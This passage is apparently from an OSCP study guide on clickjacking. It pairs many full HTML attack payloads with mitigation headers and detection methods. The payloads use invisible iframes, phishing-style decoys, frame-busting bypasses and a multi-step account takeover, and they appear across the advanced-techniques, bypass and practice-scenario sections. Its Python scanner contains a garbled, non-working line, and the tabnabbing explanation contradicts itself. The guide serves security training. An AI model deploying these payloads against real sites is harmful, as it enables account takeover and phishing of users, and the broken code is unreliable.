Copy Link Hijack User copies hidden URL instead of visible one Phishing URL distribution
Open in New Tab Hidden page opens in new tab Session hijacking setup
Inspect Element User inspects hidden page source Information disclosure

6. Advanced Techniques

Tabnabbing Combination

Tabnabbing reverses the traditional tabnabbing attack: instead of the original tab changing, the new tab replaces the original when the user switches back.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Tabnabbing + Clickjacking Combo</title>
</head>
<body>
    <iframe 
        id="target-frame" 
        src="https://target.com/account"
        style="position:absolute; top:0; left:0; width:100%; height:100%; opacity:0; z-index:1;"
    ></iframe>

    <div style="position:relative; z-index:2; text-align:center; padding-top:200px;">
        <h1>Click to Open Your Dashboard</h1>
        <a href="https://attacker.com/phishing-page" 
           target="_blank"
           rel="opener" 
           id="phish-link"
           style="display:inline-block; padding:20px 40px; background:#007bff; color:white; text-decoration:none; border-radius:10px; font-size:1.2em;">
            Open Dashboard
        </a>
    </div>

    <script>
        // Tabnabbing: When user opens link in new tab and switches back,
        // the original tab content is replaced
        const link = document.getElementById('phish-link');
        
        link.addEventListener('click', function() {
            // After user clicks, wait for them to switch tabs
            // Then replace this tab's content
            setTimeout(() => {
                // This runs when page loses focus
                window.addEventListener('blur', () => {
                    // When user comes back, the page may have changed
                    console.log('User switched away - tabnabbing opportunity');
                });
            }, 1000);
        });

        // Alternative: Use window.name persistence attack
        window.addEventListener('load', () => {
            if (window.name) {
                // window.name persists across navigations
                console.log('Persistent data:', window.name);
            }
        });
    </script>
</body>
</html>

Double Iframe Clickjacking

Used to bypass X-Frame-Options: SAMEORIGIN when the target allows being framed by a trusted intermediary.

Attack Chain:
┌─────────────────────────────────────────────┐
│ Attacker's Page                             │
│ ┌─────────────────────────────────────┐     │
│ │ Trusted Site (allows framing)       │     │
│ │ ┌─────────────────────────────┐     │     │
│ │ │ Target Site (SAMEORIGIN)    │     │     │
│ │ │ [Sensitive Actions]         │     │     │
│ │ └─────────────────────────────┘     │     │
│ └─────────────────────────────────────┘     │
└─────────────────────────────────────────────┘

The target site allows framing from the trusted site.
The attacker frames the trusted site, which frames the target.
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Double Iframe Clickjacking</title>
    <style>
        body { margin: 0; }

        /* 
         * First iframe loads a trusted site that allows the target
         * The trusted site then loads the target in its own iframe
         */
        #trusted-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
            border: none;
        }

        .decoy {
            position: relative;
            z-index: 2;
            text-align: center;
            padding-top: 200px;
        }

        .decoy button {
            padding: 20px 50px;
            font-size: 1.3em;
            background: #28a745;
            color: white;
            border: none;
            border-radius: 10px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <!-- 
     * The trusted site has X-Frame-Options: SAMEORIGIN
     * But it allows the target site in its iframes
     * We frame the trusted site, which frames the target
     -->
    <iframe 
        id="trusted-frame" 
        src="https://trusted-site.com/embed?target=https://target.com/sensitive"
    ></iframe>

    <div class="decoy">
        <h1>Claim Your Free Gift!</h1>
        <button>Click Here to Claim</button>
    </div>
</body>
</html>

Mobile Clickjacking

Mobile devices present unique challenges and opportunities:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Mobile Clickjacking</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            -webkit-tap-highlight-color: transparent;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: #fafafa;
            overscroll-behavior: none;
        }

        /* 
         * Mobile-specific considerations:
         * - Touch events instead of click events
         * - Viewport scaling can affect alignment
         * - Safe areas and notches
         */
        #mobile-frame {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            opacity: 0;
            z-index: 1;
            border: none;
            /* Prevent scrolling in iframe */
            pointer-events: auto;
        }

        .mobile-decoy {
            position: relative;
            z-index: 2;
            padding: 20px;
            padding-top: env(safe-area-inset-top);
            padding-bottom: env(safe-area-inset-bottom);
        }

        .notification-card {
            background: white;
            border-radius: 15px;
            padding: 25px;
            margin: 20px 0;
            box-shadow: 0 2px 15px rgba(0,0,0,0.08);
        }

        .notification-header {
            display: flex;
            align-items: center;
            margin-bottom: 15px;
        }

        .notification-icon {
            width: 50px;
            height: 50px;
            background: #007AFF;
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 24px;
            margin-right: 15px;
        }

        .notification-text h3 {
            margin: 0;
            color: #333;
        }

        .notification-text p {
            margin: 5px 0 0;
            color: #666;
            font-size: 14px;
        }

        .action-button {
            width: 100%;
            padding: 16px;
            background: #007AFF;
            color: white;
            border: none;
            border-radius: 12px;
            font-size: 17px;
            font-weight: 600;
            cursor: pointer;
            margin-top: 15px;
            -webkit-appearance: none;
        }

        .action-button:active {
            opacity: 0.8;
        }
    </style>
</head>
<body>
    <iframe 
        id="mobile-frame" 
        src="https://target-app.com/mobile/settings"
    ></iframe>

    <div class="mobile-decoy">
        <div class="notification-card">
            <div class="notification-header">
                <div class="notification-icon">🔔</div>
                <div class="notification-text">
                    <h3>Security Alert</h3>
                    <p>Unusual login detected. Verify your identity.</p>
                </div>
            </div>
            <button class="action-button">Verify Now</button>
        </div>

        <div class="notification-card">
            <div class="notification-header">
                <div class="notification-icon" style="background: #34C759;">🎁</div>
                <div class="notification-text">
                    <h3>Reward Available</h3>
                    <p>You have 500 points ready to redeem!</p>
                </div>
            </div>
            <button class="action-button" style="background: #34C759;">Redeem Points</button>
        </div>
    </div>

    <script>
        // Mobile-specific: Handle touch events
        document.addEventListener('touchstart', function(e) {
            console.log('Touch at:', e.touches[0].clientX, e.touches[0].clientY);
        }, { passive: true });

        // Prevent zoom which could break alignment
        document.addEventListener('gesturestart', function(e) {
            e.preventDefault();
        });
    </script>
</body>
</html>

Keyboard-Based UI Redressing

Targets applications that use keyboard shortcuts for sensitive actions:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Keyboard UI Redressing</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
        }

        #target-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        .decoy-app {
            position: relative;
            z-index: 2;
            padding: 40px;
            background: #2d2d2d;
            color: white;
            min-height: 100vh;
        }

        .shortcut-list {
            max-width: 600px;
            margin: 50px auto;
        }

        .shortcut-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 15px 20px;
            background: #3d3d3d;
            margin: 10px 0;
            border-radius: 8px;
        }

        kbd {
            background: #555;
            padding: 5px 10px;
            border-radius: 4px;
            border: 1px solid #666;
            font-family: monospace;
        }

        .focus-trap {
            position: absolute;
            left: -9999px;
        }
    </style>
</head>
<body>
    <iframe id="target-frame" src="https://target.com/editor"></iframe>

    <div class="decoy-app">
        <div class="shortcut-list">
            <h2>⌨️ Keyboard Shortcuts Reference</h2>
            <p>Try these shortcuts in our demo editor:</p>

            <div class="shortcut-item">
                <span>Save Document</span>
                <span><kbd>Ctrl</kbd> + <kbd>S</kbd></span>
            </div>

            <div class="shortcut-item">
                <span>Close Tab</span>
                <span><kbd>Ctrl</kbd> + <kbd>W</kbd></span>
            </div>

            <div class="shortcut-item">
                <span>Toggle Sidebar</span>
                <span><kbd>Ctrl</kbd> + <kbd>B</kbd></span>
            </div>

            <!-- 
             * When user presses Ctrl+S in the decoy,
             * the hidden iframe receives the keyboard event
             * and saves/closes/deletes in the target app
             -->
        </div>

        <!-- 
         * Hidden input to capture focus
         * Keyboard events will propagate to the iframe
         -->
        <input type="text" class="focus-trap" id="focusTrap" autofocus>
    </div>

    <script>
        // Focus the hidden input to ensure keyboard events work
        document.getElementById('focusTrap').focus();

        // Optionally, we can intercept and forward specific keys
        document.addEventListener('keydown', function(e) {
            console.log('Key pressed:', e.key, 'Ctrl:', e.ctrlKey);
            
            // The iframe will receive these events naturally
            // No need to forward manually in most cases
        });
    </script>
</body>
</html>

Drag-and-Drop Hijacking

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Drag and Drop Hijacking</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
        }

        #drop-target-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        .file-manager {
            position: relative;
            z-index: 2;
            padding: 40px;
        }

        .drop-zone {
            border: 3px dashed #007bff;
            border-radius: 15px;
            padding: 60px;
            text-align: center;
            background: #f0f8ff;
            margin: 30px auto;
            max-width: 500px;
            transition: all 0.3s;
        }

        .drop-zone.drag-over {
            background: #e0f0ff;
            border-color: #0056b3;
            transform: scale(1.02);
        }

        .draggable-file {
            display: inline-block;
            padding: 15px 25px;
            background: white;
            border: 1px solid #ddd;
            border-radius: 8px;
            margin: 10px;
            cursor: grab;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        .draggable-file:active {
            cursor: grabbing;
        }
    </style>
</head>
<body>
    <!-- 
     * Target has a file upload or configuration import area
     * User's drag-and-drop will land on the hidden target
     -->
    <iframe id="drop-target-frame" src="https://target.com/import-config"></iframe>

    <div class="file-manager">
        <h2>📁 Organize Your Files</h2>
        <p>Drag files to the drop zone to organize them:</p>

        <div class="drop-zone" id="dropZone">
            <div style="font-size: 3em;">📥</div>
            <h3>Drop files here</h3>
            <p>Drag and drop your files to organize</p>
        </div>

        <div style="text-align: center; margin-top: 30px;">
            <div class="draggable-file" draggable="true">📄 Document.pdf</div>
            <div class="draggable-file" draggable="true">📊 Report.xlsx</div>
            <div class="draggable-file" draggable="true">🖼️ Image.png</div>
        </div>
    </div>

    <script>
        const dropZone = document.getElementById('dropZone');
        const files = document.querySelectorAll('.draggable-file');

        // Make files draggable
        files.forEach(file => {
            file.addEventListener('dragstart', function(e) {
                e.dataTransfer.setData('text/plain', this.textContent);
                this.style.opacity = '0.5';
            });

            file.addEventListener('dragend', function() {
                this.style.opacity = '1';
            });
        });

        // Handle drop zone
        dropZone.addEventListener('dragover', function(e) {
            e.preventDefault();
            this.classList.add('drag-over');
        });

        dropZone.addEventListener('dragleave', function() {
            this.classList.remove('drag-over');
        });

        dropZone.addEventListener('drop', function(e) {
            e.preventDefault();
            this.classList.remove('drag-over');
            const fileName = e.dataTransfer.getData('text/plain');
            console.log('File dropped:', fileName);
            // The actual drop event goes to the hidden iframe
        });
    </script>
</body>
</html>

7. Mitigation Strategies

X-Frame-Options Header

The X-Frame-Options HTTP response header prevents a page from being displayed in a frame/iframe.

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM uri
Directive Behavior Browser Support
DENY Page cannot be framed by any origin All modern browsers
SAMEORIGIN Page can only be framed by same origin All modern browsers
ALLOW-FROM uri Page can only be framed by specified URI Deprecated, limited support

Implementation Examples

Apache (.htaccess):

Header always append X-Frame-Options "DENY"
# Or for same-origin only:
Header always append X-Frame-Options "SAMEORIGIN"

Nginx:

add_header X-Frame-Options "DENY" always;
# Or:
add_header X-Frame-Options "SAMEORIGIN" always;

Express.js (Node.js):

const express = require('express');
const app = express();

// Apply to all routes
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    next();
});

// Or use helmet
const helmet = require('helmet');
app.use(helmet());
// helmet sets X-Frame-Options: SAMEORIGIN by default

Django:

# settings.py
MIDDLEWARE = [
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    # ...
]

# Default: X-Frame-Options: DENY
# Override per-view:
from django.views.decorators.clickjacking import xframe_options_sameorigin

@xframe_options_sameorigin
def my_view(request):
    return render(request, 'template.html')

ASP.NET:

// Web.config
<system.webServer>
    <httpProtocol>
        <customHeaders>
            <add name="X-Frame-Options" value="DENY" />
        </customHeaders>
    </httpProtocol>
</system.webServer>

// Or in code
Response.Headers.Add("X-Frame-Options", "DENY");

Content Security Policy (CSP) - frame-ancestors

The frame-ancestors directive in CSP is the modern replacement for X-Frame-Options.

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;
CSP Directive Equivalent X-Frame-Options
frame-ancestors 'none' DENY
frame-ancestors 'self' SAMEORIGIN
frame-ancestors 'self' https://example.com ALLOW-FROM https://example.com

Implementation

HTTP Header:

Content-Security-Policy: frame-ancestors 'self';

HTML Meta Tag:

<meta http-equiv="Content-Security-Policy" 
      content="frame-ancestors 'self';">

Express.js with helmet:

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
    directives: {
        frameAncestors: ["'self'"],
        // Or to deny all framing:
        // frameAncestors: ["'none'"],
    }
}));

Nginx:

add_header Content-Security-Policy "frame-ancestors 'self';" always;

JavaScript Detection (top !== self)

// Basic frame busting
if (window.top !== window.self) {
    window.top.location = window.self.location;
}

// More robust version
(function() {
    if (window !== window.top) {
        // Check if we're in a same-origin frame
        try {
            window.top.location.href;
            // Same origin - safe to redirect
            window.top.location = window.self.location;
        } catch (e) {
            // Cross-origin - can't access top.location
            // Use document.domain or other techniques
            document.body.innerHTML = '';
            document.write('<h1>This page cannot be displayed in a frame.</h1>');
        }
    }
})();

// Alternative: Callback-based frame busting
function frameBuster() {
    if (window.top !== window.self) {
        window.top.document.documentElement.style.opacity = '0';
        setTimeout(function() {
            window.top.location = window.self.location;
        }, 100);
    }
}

// Run on load and periodically
window.addEventListener('load', frameBuster);
setInterval(frameBuster, 1000);

Why JavaScript-Only Protection Is Insufficient

JavaScript-based frame busting has several critical weaknesses:

Attack Vector Description Bypass Method
onload delay Attacker prevents iframe onload Use sandbox attribute
CSS opacity Attacker hides the busted content Set iframe opacity after bust
pointer-events Attacker disables mouse events pointer-events: none on iframe
Sandbox attribute Restricts iframe capabilities <iframe sandbox="allow-forms allow-same-origin">
X-Domain limitation Can’t access cross-origin parent Attacker controls the parent

Bypass Example

<!DOCTYPE html>
<html>
<head>
    <style>
        /* 
         * Bypass JS frame busting by:
         * 1. Using sandbox to prevent script execution
         * 2. Or by capturing the frame before JS loads
         */
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        /* 
         * If the target uses frame busting, the iframe
         * will try to escape. But we can:
         * 1. Reload the iframe after it tries to escape
         * 2. Use a second iframe to capture the escape
         */
    </style>
</head>
<body>
    <iframe 
        id="target" 
        src="https://target-with-frame-busting.com"
        sandbox="allow-forms allow-same-origin allow-scripts"
    ></iframe>

    <div style="position:relative; z-index:2; text-align:center; padding-top:200px;">
        <button style="padding:20px 50px; font-size:1.2em;">Click Here</button>
    </div>

    <script>
        // Reload iframe if it tries to escape
        const iframe = document.getElementById('target');
        
        setInterval(() => {
            try {
                // If iframe navigated away, reload it
                if (iframe.contentWindow.location.href !== 'https://target-with-frame-busting.com') {
                    iframe.src = 'https://target-with-frame-busting.com';
                }
            } catch (e) {
                // Cross-origin, can't check - just reload periodically
                iframe.src = iframe.src;
            }
        }, 2000);
    </script>
</body>
</html>

Defense-in-Depth Strategy

┌─────────────────────────────────────────────────────────┐
│              DEFENSE-IN-DEPTH LAYERS                    │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  Layer 1: HTTP Headers (Most Important)                │
│  ┌─────────────────────────────────────────┐           │
│  │ X-Frame-Options: DENY                   │           │
│  │ CSP: frame-ancestors 'none'             │           │
│  └─────────────────────────────────────────┘           │
│                                                         │
│  Layer 2: JavaScript Detection (Secondary)             │
│  ┌─────────────────────────────────────────┐           │
│  │ window.top !== window.self check        │           │
│  │ Periodic frame busting                  │           │
│  └─────────────────────────────────────────┘           │
│                                                         │
│  Layer 3: Application Logic                            │
│  ┌─────────────────────────────────────────┐           │
│  │ Require CSRF tokens for state changes   │           │
│  │ Verify origin on sensitive actions      │           │
│  │ Use POST instead of GET for mutations   │           │
│  └─────────────────────────────────────────┘           │
│                                                         │
│  Layer 4: User Experience                              │
│  ┌─────────────────────────────────────────┐           │
│  │ Confirmation dialogs for destructive    │           │
│  │ actions                                 │           │
│  │ Audit logging of all actions            │           │
│  └─────────────────────────────────────────┘           │
│                                                         │
└─────────────────────────────────────────────────────────┘

8. Detection Methodology

Manual Testing Steps

Step 1: Identify Frameable Pages
─────────────────────────────────
1. Create a simple HTML page with an iframe
2. Point the iframe to the target URL
3. Check if the page loads in the iframe

Test Page:
<!DOCTYPE html>
<html>
<body>
    <iframe src="https://target.com/page" 
            width="800" height="600" 
            style="border:2px solid red;">
    </iframe>
</body>
</html>


Step 2: Check HTTP Response Headers
────────────────────────────────────
1. Use browser dev tools or curl
2. Look for X-Frame-Options header
3. Look for CSP frame-ancestors directive

curl -I https://target.com/page
# Check response for:
# X-Frame-Options: DENY|SAMEORIGIN
# Content-Security-Policy: frame-ancestors ...


Step 3: Test Frame Busting
───────────────────────────
1. If page loads in iframe, check for JS frame busting
2. Disable JavaScript and try again
3. If page loads without JS but not with, 
   JS frame busting is in place


Step 4: Attempt Clickjacking
────────────────────────────
1. Create payload with invisible iframe
2. Add decoy UI elements
3. Test alignment and click capture
4. Verify the target action executes


Step 5: Document Findings
─────────────────────────
1. Record which pages are frameable
2. Note the protection mechanisms in place
3. Provide proof-of-concept payload
4. Recommend mitigation

Automated Detection with Burp Suite

1. Install the "Clickjacking Scanner" extension
2. Configure Burp to scan the target
3. Review results for frameable pages
4. Verify findings manually

Manual Burp Method:
1. Send request to Repeater
2. Check response headers
3. Look for missing X-Frame-Options
4. Look for missing/weak CSP frame-ancestors

Python Detection Script

#!/usr/bin/env python3
"""
Clickjacking Vulnerability Scanner
Checks for X-Frame-Options and CSP frame-ancestors headers
"""

import requests
import sys
from urllib.parse import urljoin, urlparse

def check_clickjacking_protection(url):
    """Check if a URL is protected against clickjacking"""
    
    try:
        response = requests.get(url, timeout=10, allow_redirects=True)
        headers = response.headers
        
        results = {
            'url': response.url,
            'status_code': response.status_code,
            'protected': True,
            'vulnerabilities': [],
            'headers_found: '' for _found in ['x-frame-options', 'content-security-policy']}
        }
        
        # Check X-Frame-Options
        xfo = headers.get('X-Frame-Options', '').upper()
        results['headers']['x-frame-options'] = xfo
        
        if not xfo:
            results['protected'] = False
            results['vulnerabilities'].append(
                'Missing X-Frame-Options header'
            )
        elif xfo == 'ALLOW-FROM':
            results['vulnerabilities'].append(
                'X-Frame-Options uses deprecated ALLOW-FROM'
            )
        
        # Check CSP frame-ancestors
        csp = headers.get('Content-Security-Policy', '')
        results['headers']['content-security-policy'] = csp
        
        if 'frame-ancestors' not in csp.lower():
            if not xfo:  # Only flag if X-Frame-Options also missing
                results['vulnerabilities'].append(
                    'Missing CSP frame-ancestors directive'
                )
        
        # Determine protection level
        if xfo in ['DENY', 'SAMEORIGIN']:
            results['protection_level'] = 'Strong (X-Frame-Options)'
        elif 'frame-ancestors' in csp.lower():
            if "'none'" in csp.lower():
                results['protection_level'] = 'Strong (CSP frame-ancestors none)'
            elif "'self'" in csp.lower():
                results['protection_level'] = 'Medium (CSP frame-ancestors self)'
            else:
                results['protection_level'] = 'Weak (CSP frame-ancestors with specific origins)'
        else:
            results['protection_level'] = 'None - VULNERABLE'
        
        return results
        
    except requests.exceptions.RequestException as e:
        return {
            'url': url,
            'error': str(e),
            'protected': False
        }

def scan_urls(url_list):
    """Scan multiple URLs for clickjacking vulnerabilities"""
    
    print("=" * 70)
    print("CLICKJACKING VULNERABILITY SCANNER")
    print("=" * 70)
    print()
    
    vulnerable = []
    
    for url in url_list:
        results = check_clickjacking_protection(url)
        
        print(f"URL: {results['url']}")
        print(f"Status: {results.get('status_code', 'Error')}")
        print(f"Protection Level: {results.get('protection_level', 'Unknown')}")
        print(f"X-Frame-Options: {results['headers'].get('x-frame-options', 'NOT SET')}")
        
        csp = results['headers'].get('content-security-policy', '')
        if csp:
            # Extract just the frame-ancestors part
            for part in csp.split(';'):
                if 'frame-ancestors' in part.lower():
                    print(f"CSP frame-ancestors: {part.strip()}")
                    break
        else:
            print("CSP: NOT SET")
        
        if results['vulnerabilities']:
            print("⚠️  VULNERABILITIES:")
            for vuln in results['vulnerabilities']:
                print(f"   - {vuln}")
            vulnerable.append(results)
        else:
            print("✓ Protected")
        
        print("-" * 70)
    
    print()
    print(f"Summary: {len(vulnerable)}/{len(url_list)} URLs are vulnerable")
    
    return vulnerable

if __name__ == '__main__':
    if len(sys.argv) > 1:
        urls = sys.argv[1:]
    else:
        urls = [
            'https://example.com',
            'https://target-app.com/login',
            'https://target-app.com/settings',
        ]
    
    scan_urls(urls)

9. OSCP-Specific Tips

Exam Relevance

Clickjacking is a medium-priority topic for OSCP. While not as commonly tested as XSS or CSRF, it can appear in:

  1. Web application assessments — Look for missing frame protections
  2. Post-exploitation — Use clickjacking to perform actions on behalf of logged-in users
  3. Report writing — Document clickjacking findings properly

Common Lab Scenarios

Scenario Target Technique
DVWA Low/Medium security Basic iframe clickjacking
bWAPP Multiple vulnerabilities Various clickjacking vectors
Custom apps Missing X-Frame-Options Standard payload
API portals Same-origin framed apps Double iframe technique

DVWA Clickjacking Walkthrough

DVWA Security Level: Low
─────────────────────────────────
1. Navigate to DVWA > Clickjacking
2. Observe the "Change Password" form
3. No X-Frame-Options header present
4. Create clickjacking payload:

<!DOCTYPE html>
<html>
<head>
    <style>
        iframe {
            opacity: 0;
            position: absolute;
            top: -500px;
            left: -200px;
            width: 1500px;
            height: 1000px;
            z-index: 1;
        }
        #decoy {
            position: relative;
            z-index: 2;
        }
    </style>
</head>
<body>
    <iframe src="http://[TARGET]/vulnerabilities/clickjacking/"></iframe>
    <div id="decoy">
        <h1>Click below to claim your prize!</h1>
        <button style="position:absolute; top:500px; left:400px; 
                       padding:15px 30px; font-size:1.2em;">
            CLAIM PRIZE
        </button>
    </div>
</body>
</html>

5. Adjust iframe position until the "Change Password" button 
   aligns with the decoy button
6. Host the payload and deliver to victim


DVWA Security Level: Medium
─────────────────────────────────
1. JavaScript frame busting is implemented
2. Bypass by preventing the frame bust script from executing
3. Use sandbox attribute or reload technique


DVWA Security Level: High
─────────────────────────────────
1. X-Frame-Options: SAMEORIGIN is set
2. Cannot be framed from external domains
3. Attack not possible from external attacker

Quick Checklist for Exam

□ Check for X-Frame-Options header
□ Check for CSP frame-ancestors directive
□ Test if page can be loaded in iframe
□ Check for JavaScript frame busting
□ Try disabling JavaScript to bypass frame busting
□ Create proof-of-concept payload
□ Test alignment with debugging tools
□ Document findings with screenshots
□ Verify impact (what action can be triggered)
□ Check if SameSite cookie attribute helps

Report Writing Template

## Clickjacking Vulnerability

### Summary
The application at [URL] is vulnerable to clickjacking attacks. 
The page can be embedded in an iframe on an attacker-controlled 
domain, allowing an attacker to trick users into performing 
unintended actions.

### Technical Details
- **Vulnerable URL**: [URL]
- **Missing Header**: X-Frame-Options
- **CSP Status**: [Present/Absent]
- **Frame Busting**: [Present/Absent]

### Proof of Concept
[Include HTML payload]

### Impact
An attacker could trick authenticated users into:
- Changing their password
- Transferring funds
- Modifying account settings
- [List specific actions]

### Remediation
1. Add X-Frame-Options: DENY header
2. Add CSP frame-ancestors 'none' directive
3. Implement JavaScript frame busting as secondary defense

10. Practice Scenarios

Scenario 1: Basic Clickjacking

Objective: Exploit a web application that lacks frame protection to change a user’s email address.

Given:

  • Target URL: http://10.10.10.100/settings.php
  • User is already authenticated
  • No X-Frame-Options header

Solution:

<!DOCTYPE html>
<html>
<head>
    <title>Exclusive Offer!</title>
    <style>
        iframe {
            position: absolute;
            top: -600px;
            left: -300px;
            width: 1200px;
            height: 1200px;
            opacity: 0;
            z-index: 1;
        }
        .decoy {
            position: relative;
            z-index: 2;
            text-align: center;
            padding-top: 100px;
        }
        .claim-btn {
            padding: 20px 50px;
            font-size: 1.5em;
            background: #28a745;
            color: white;
            border: none;
            border-radius: 10px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <iframe src="http://10.10.10.100/settings.php"></iframe>
    <div class="decoy">
        <h1>🎉 You've Won a Prize!</h1>
        <p>Click below to claim your reward</p>
        <button class="claim-btn">CLAIM NOW!</button>
    </div>
</body>
</html>

Scenario 2: Bypassing Frame Busting

Objective: Bypass JavaScript frame busting to perform clickjacking.

Given:

  • Target uses window.top !== window.self check
  • No HTTP header protection

Solution:

<!DOCTYPE html>
<html>
<head>
    <style>
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }
    </style>
</head>
<body>
    <!-- 
     * Use sandbox to restrict iframe capabilities
     * This may prevent the frame bust script from working
     -->
    <iframe 
        src="http://target.com/page" 
        sandbox="allow-forms allow-same-origin"
    ></iframe>
    
    <div style="position:relative; z-index:2; text-align:center; padding-top:200px;">
        <button style="padding:20px 50px; font-size:1.2em;">Click Here</button>
    </div>

    <script>
        // Reload iframe periodically to counter frame busting
        setInterval(function() {
            document.querySelector('iframe').src += '';
        }, 3000);
    </script>
</body>
</html>

Scenario 3: Multi-Step Account Takeover

Objective: Use multi-step clickjacking to change password and take over account.

Steps:

  1. First click: Navigate to password change page
  2. Second click: Enter new password (via pre-filled form or keyboard)
  3. Third click: Confirm password change

Approach:

<!DOCTYPE html>
<html>
<head>
    <style>
        .step { display: none; }
        .step.active { display: block; }
        iframe {
            position: absolute;
            opacity: 0;
            z-index: 1;
        }
    </style>
</head>
<body>
    <iframe id="frame1" src="http://target.com/profile"></iframe>
    <iframe id="frame2" src="http://target.com/change-password" style="display:none;"></iframe>

    <div class="step active" id="step1" style="position:relative; z-index:2;">
        <h1>Update Your Profile Picture</h1>
        <button onclick="goToStep2()" style="padding:20px 50px; font-size:1.2em;">
            Choose Photo
        </button>
    </div>

    <div class="step" id="step2" style="position:relative; z-index:2;">
        <h1>Confirm Your Selection</h1>
        <button onclick="goToStep3()" style="padding:20px 50px; font-size:1.2em;">
            Confirm
        </button>
    </div>

    <script>
        function goToStep2() {
            document.getElementById('step1').classList.remove('active');
            document.getElementById('step2').classList.add('active');
            document.getElementById('frame1').style.display = 'none';
            document.getElementById('frame2').style.display = 'block';
        }

        function goToStep3() {
            alert('Profile updated successfully!');
        }
    </script>
</body>
</html>

11. Summary Cheat Sheet

Quick Reference

┌─────────────────────────────────────────────────────────────┐
│              CLICKJACKING CHEAT SHEET                       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  CORE CONCEPT                                              │
│  ─────────────────                                         │
│  • Trick user into clicking hidden iframe content          │
│  • Use opacity: 0 (NOT visibility: hidden)                 │
│  • Align decoy with target via CSS positioning             │
│                                                             │
│  BASIC PAYLOAD STRUCTURE                                   │
│  ────────────────────────                                  │
│  <iframe src="target" style="opacity:0; position:absolute">│
│  <div style="z-index:2">Decoy Content</div>                │
│                                                             │
│  KEY CSS PROPERTIES                                        │
│  ──────────────────────                                    │
│  opacity: 0              → Invisible but clickable         │
│  position: absolute      → Precise positioning             │
│  z-index: 1              → Behind decoy layer              │
│  pointer-events: auto    → Accepts mouse events            │
│                                                             │
│  PROTECTION HEADERS                                        │
│  ──────────────────────                                    │
│  X-Frame-Options: DENY         → Block all framing         │
│  X-Frame-Options: SAMEORIGIN   → Allow same origin only    │
│  CSP: frame-ancestors 'none'   → Modern equivalent of DENY │
│  CSP: frame-ancestors 'self'   → Modern equivalent of      │
│                                  SAMEORIGIN                │
│                                                             │
│  DETECTION STEPS                                           │
│  ──────────────────                                        │
│  1. Check response headers                                 │
│  2. Test iframe embedding                                  │
│  3. Check for JS frame busting                             │
│  4. Create PoC payload                                     │
│                                                             │
│  COMMON BYPASSES                                           │
│  ──────────────────                                        │
│  • Disable JavaScript                                      │
│  • Use sandbox attribute                                   │
│  • Reload iframe after frame bust                          │
│  • Double iframe technique                                 │
│                                                             │
│  OSCP PRIORITY                                             │
│  ──────────────────                                        │
│  • Medium priority                                         │
│  • Look for missing X-Frame-Options                        │
│  • Common in DVWA, bWAPP                                   │
│  • Document with PoC in report                             │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Command Quick Reference

# Check headers for clickjacking protection
curl -I https://target.com/page | grep -i -E "x-frame|content-security"

# Test if page can be framed
# Create test.html with iframe and open in browser

# Nmap script for header checking
nmap --script http-headers -p 80,443 target.com

# Burp Suite: Check response headers in Repeater
# Look for X-Frame-Options and CSP headers

Key Takeaways

  1. Clickjacking exploits visual deception — users click what they see, not what’s actually there
  2. opacity: 0 is the key — invisible but interactive
  3. X-Frame-Options and CSP frame-ancestors are the primary defenses
  4. JavaScript frame busting is insufficient alone — always use HTTP headers
  5. Multi-step attacks require careful alignment and user guidance
  6. For OSCP: Check headers first, create PoC, document impact

This study guide is designed for OSCP exam preparation. Always practice in authorized lab environments only.